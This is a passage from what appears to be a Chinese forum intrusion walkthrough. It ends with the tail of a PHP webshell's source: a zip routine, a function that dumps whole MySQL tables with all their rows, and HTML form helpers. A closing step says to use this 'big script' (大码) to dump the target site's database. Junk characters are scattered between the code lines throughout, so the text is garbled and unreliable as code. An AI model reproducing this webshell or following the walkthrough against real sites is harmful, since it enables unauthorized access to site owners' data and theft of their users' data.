1777.                 $ctrldir = implode('', $this -> ctrl_dir);
      
1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
      % Q- o, M; @$ {. L, d4 \& a
1779.         }
      
1780. }
      ' T- D* e+ x2 [  T) X. w* n
1781. // 备份数据库
      0 T1 W+ w& J; G/ V
1782. function sqldumptable($table, $fp=0) {
      1 p- [! c* c) U% X8 n
1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";
      + k8 {" ~& p; A/ U; n  J& S
1784.         $tabledump .= "CREATE TABLE $table (\n";
      
1785.         $firstfield=1;
      : h8 Y. U. {% c# n" ?+ C* s8 Q
1786.         $fields = q("SHOW FIELDS FROM $table");
      
1787.         while ($field = mysql_fetch_array($fields)) {
      
1788.                 if (!$firstfield) {
      0 {6 F- k% N' ^0 e5 |, j
1789.                         $tabledump .= ",\n";
      & y0 k: |( Z) ~
1790.                 } else {
      ! e7 n0 _6 @1 A1 c* [; _8 S
1791.                         $firstfield=0;
      * C4 O; K, r, L: l
1792.                 }
      % B& X9 I2 V- s+ n
1793.                 $tabledump .= "   $field[Field] $field[Type]";
      
1794.                 if (!empty($field["Default"])) {
      
1795.                         $tabledump .= " DEFAULT '$field[Default]'";
      $ i3 g' F) p: N# ?% r+ J
1796.                 }
      - \: e7 F5 k' r) o3 N  j( }
1797.                 if ($field['Null'] != "YES") {
      
1798.                         $tabledump .= " NOT NULL";
      % u% w# E) G2 s, }% P/ d+ _$ u1 Y
1799.                 }
      
1800.                 if ($field['Extra'] != "") {
      
1801.                         $tabledump .= " $field[Extra]";
      
1802.                 }
      ( e( w& ]- a/ K0 I) {, j. h- p/ `
1803.         }
      
1804.         fr($fields);
      
1805.         $keys = q("SHOW KEYS FROM $table");
      : `. U) H$ m4 f5 h
1806.         while ($key = mysql_fetch_array($keys)) {
      
1807.                 $kname=$key['Key_name'];
      4 O. X) F3 N( v& v: Z
1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
      
1809.                         $kname="UNIQUE|$kname";
      
1810.                 }
      * a- x) K1 b  i5 I, n" M9 r
1811.                 if(!is_array($index[$kname])) {
      
1812.                         $index[$kname] = array();
      ! r" {) E- K8 }$ |* S9 I
1813.                 }
        m6 H9 O4 r1 u) Z
1814.                 $index[$kname][] = $key['Column_name'];
      0 B2 H1 t% p7 E' t/ z. B5 c( Z/ j7 @1 q
1815.         }
      
1816.         fr($keys);
      
1817.         while(list($kname, $columns) = @each($index)) {
      
1818.                 $tabledump .= ",\n";
      7 X* P# t  N8 r8 N
1819.                 $colnames=implode($columns,",");
      % t8 c% U- K8 k6 O* u' \! l
1820.                 if ($kname == "PRIMARY") {
      3 \: a4 ^" G( Q/ G6 T0 ]+ [7 K: N
1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";
      
1822.                 } else {
      
1823.                         if (substr($kname,0,6) == "UNIQUE") {
      
1824.                                 $kname=substr($kname,7);
      6 a) P1 _( ?3 k, |  O6 ]& v4 ^
1825.                         }
      4 J8 T2 M$ X3 P$ ^. E* M9 B- [# j
1826.                         $tabledump .= "   KEY $kname ($colnames)";
      ; }* @9 i- K2 b4 L- c) r
1827.                 }
      % L. [2 o) w% L% b  Q, g
1828.         }
      
1829.         $tabledump .= "\n);\n\n";
      $ }. F( c' |( p! L" z* K/ Z5 M
1830.         if ($fp) {
      
1831.                 fwrite($fp,$tabledump);
      ! p" k/ h) a$ z1 G6 f5 @
1832.         } else {
      
1833.                 echo $tabledump;
      
1834.         }
      
1835.         $rows = q("SELECT * FROM $table");
      5 G/ y6 |8 k  Q! w; w6 S, o3 R
1836.         $numfields = mysql_num_fields($rows);
      
1837.         while ($row = mysql_fetch_array($rows)) {
      5 F) {4 p; g) O6 g: c+ B$ Q1 T7 E5 O9 C
1838.                 $tabledump = "INSERT INTO $table VALUES(";
      
1839.                 $fieldcounter=-1;
      
1840.                 $firstfield=1;
      $ j$ D5 B5 C) u
1841.                 while (++$fieldcounter<$numfields) {
      & p2 j8 X: B4 o3 b9 Z
1842.                         if (!$firstfield) {
      
1843.                                 $tabledump.=", ";
      + F0 \# W* r3 z( u+ A" K: Y
1844.                         } else {
      ; e$ }# g3 r  h$ Q
1845.                                 $firstfield=0;
      
1846.                         }
      $ I' _0 S8 c8 Z5 M* |# E# i
1847.                         if (!isset($row[$fieldcounter])) {
      
1848.                                 $tabledump .= "NULL";
      
1849.                         } else {
      
1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
      3 ~# @- Z/ t0 w# x; l
1851.                         }
      
1852.                 }
      
1853.                 $tabledump .= ");\n";
      
1854.                 if ($fp) {
      , o( ~0 \& L3 J5 G9 U
1855.                         fwrite($fp,$tabledump);
      ( l/ ~( _, E7 q
1856.                 } else {
      
1857.                         echo $tabledump;
      0 P* O! Q( M# m2 K: M
1858.                 }
      
1859.         }
      
1860.         fr($rows);
      / R' `" D) p" ~
1861.         if ($fp) {
      
1862.                 fwrite($fp,"\n");
      
1863.         } else {
      - O8 d( p% y5 m, r* n7 X
1864.                 echo "\n";
      
1865.         }
      
1866. }
      
1867. function ue($str){
      
1868.         return urlencode($str);
      
1869. }
      
1870. function p($str){
      5 Z5 S9 c0 k0 @- K6 [
1871.         echo $str."\n";
      
1872. }
      * s0 a0 C8 v$ w- D/ y
1873. function tbhead() {
      8 ]) J8 D- d2 c& G
1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
      ) r! N7 [5 B# C4 s) Y& B) I) t6 A
1875. }
      0 t9 _; }, r  u1 ^6 H$ N
1876. function tbfoot(){
      
1877.         p('</table>');
      
1878. }
      8 y. k! S9 W) J% q- Q
1879. function makehide($name,$value=''){
      + u# @- t- O, b& u6 `8 Q( r
1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");
      $ G* e- A. h  t3 \# d: J1 f# P: A
1881. }
      
1882. function makeinput($arg = array()){
      
1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";
      
1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
      
1885.         !$arg['type'] && $arg['type'] = 'text';
      ) G$ @( e6 ?! m
1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
      
1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
      
1888.         if ($arg['newline']) {
      7 \' ]" p. K2 c) C1 \: Q( i
1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");
      
1890.         } else {
      
1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
      - h4 m6 }0 m! V" A# R+ \
1892.         }
      
1893. }
      0 q; R0 J: n* V; ~
1894. function makeselect($arg = array()){
      
1895.         if ($arg['onchange']) {
      
1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';
      * M8 G+ N( z8 f  y) J6 F: `: A+ @
1897.         }
      4 r. f  `( r4 e
1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';
      
1899.         if ($arg['newline']) p('<p>');
      
1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");
      
1901.                 if (is_array($arg['option'])) {
      0 u6 a% D1 X8 X# W1 |3 V
1902.                         foreach ($arg['option'] as $key=>$value) {
      3 E& ~1 J" S  w# d
1903.                                 if ($arg['selected']==$key) {
      
1904.                                         p("<option value="$key" selected>$value</option>");
      # y% @5 Y# n# M( P& M8 E) S2 v
1905.                                 } else {
      & p- y" T+ N9 T* M. @! Y! t/ }! b
1906.                                         p("<option value="$key">$value</option>");
      
1907.                                 }
        V6 f9 d- [$ R; q
1908.                         }
      " |+ X/ `" n4 I" Q6 }
1909.                 }
      ) T- l* }' h: V2 q9 P; y
1910.         p("</select>");
      
1911.         if ($arg['newline']) p('</p>');
      ) b9 t9 D! }  m1 U0 L2 a
1912. }
      ( o+ ]( g1 A8 x5 s9 J5 t5 S5 p
1913. function formhead($arg = array()) {
      
1914.         !$arg['method'] && $arg['method'] = 'post';
      
1915.         !$arg['action'] && $arg['action'] = $self;
      
1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';
      
1917.         !$arg['name'] && $arg['name'] = 'form1';
      " Z+ E9 ~8 Y3 ?' ]) c7 |
1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
      8 g4 O4 m# `7 r8 [
1919.         if ($arg['title']) {
      - h5 W$ _  K# [1 ^6 C
1920.                 p('<h2>'.$arg['title'].' »</h2>');
      ' Q% k7 v6 ^$ E- d& U8 V8 _+ B
1921.         }
      
1922. }
      
1923.        
      4 \( }: Y% `3 j
1924. function maketext($arg = array()){
      7 h0 X  X- L) ], p' p" u
1925.         !$arg['cols'] && $arg['cols'] = 100;
      
1926.         !$arg['rows'] && $arg['rows'] = 25;
      
1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
      
1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");
      
1929. }
      
1930. 
      % K5 Q% L% |% T4 Z1 K3 t
1931. function formfooter($name = ''){
      
1932.         !$name && $name = 'submit';
      9 Y2 }+ a, B3 L- M5 L% f( O' v
1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
      8 C" I, V6 z9 \
1934.         p('</form>');
      
1935. }
      7 {5 d( W7 e8 w# G: c0 B, N
1936. 
      
1937. function formfoot(){
      
1938.         p('</form>');
      - C, P# J, p0 M5 ?! K6 `
1939. }
      
1940. 
      
1941. // 调试函数
      $ h  Y! |& |6 H
1942. function pr($a) {
      
1943.         echo '<pre>';
      
1944.         print_r($a);
      
1945.         echo '</pre>';
      
1946. }
      $ E% p' M2 S) Q
1947. 
      , A( ~3 J2 ?. [0 ^
1948. ?>

复制代码

11、最后通过大码对网站数据库进行脱库
/ F" b$ I" C* M0 a, v

$ y/ ?: U+ B4 q  q